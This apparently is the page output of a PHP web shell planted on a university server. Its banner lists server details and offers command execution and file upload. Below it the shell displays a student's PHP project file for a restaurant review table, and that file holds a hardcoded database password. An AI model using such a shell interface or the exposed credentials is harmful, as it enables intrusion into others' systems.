|
Server IP : 172.16.15.8 / Your IP : 3.138.135.201 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/gmsnowman/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- Gabriella Snowman
Final Project
File: displayReview.php
Displays full table with all previously entered data
-->
<HEAD>
<TITLE> Restaurant Review Table </TITLE>
</HEAD>
<BODY style="background-color:powderblue;">
<STYLE>
.button {
background-color: #FFF8B2;
border-color: #1E383F;
padding: 5px 10px;
text-align: center;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
color: black;
}
hr {
height: 2px;
background-color: #1E383F;
border: none;
}
</STYLE>
<CENTER>
<H2>
Display Table
</H2>
<HR>
<?php
$host = 'localhost';
$user = 'gmsnowman';
$passwd = 'cs389';
$database = 'gmsnowman';
$connect = mysqli_connect($host, $user, $passwd);
$query = "select * from REVIEW";
mysqli_select_db($connect, $database);
$result_id = mysqli_query($connect, $query);
if($result_id)
{
print '<table border=1>';
print '<TH> RESTAURANT_NAME <TH> ATM <TH> FOOD <TH> PRICE <TH> SERVICE <TH> SPEED <TH> OVERALL';
while($row = mysqli_fetch_row($result_id))
{
print '<TR>';
foreach ($row as $field)
print "<TD> $field </TD> ";
print '</TR>';
}
print '</table>';
}
else
print "Fail.<P>";
mysqli_close($connect);
?>
<HR>
<A HREF = index.html> <button class="button"> HOME </button> </A> <A HREF=review.html> <button class="button"> REVIEW FORM </button> </A> <A HREF=final.html> <button class="button"> PROJECT HOME </button> </A>
</CENTER>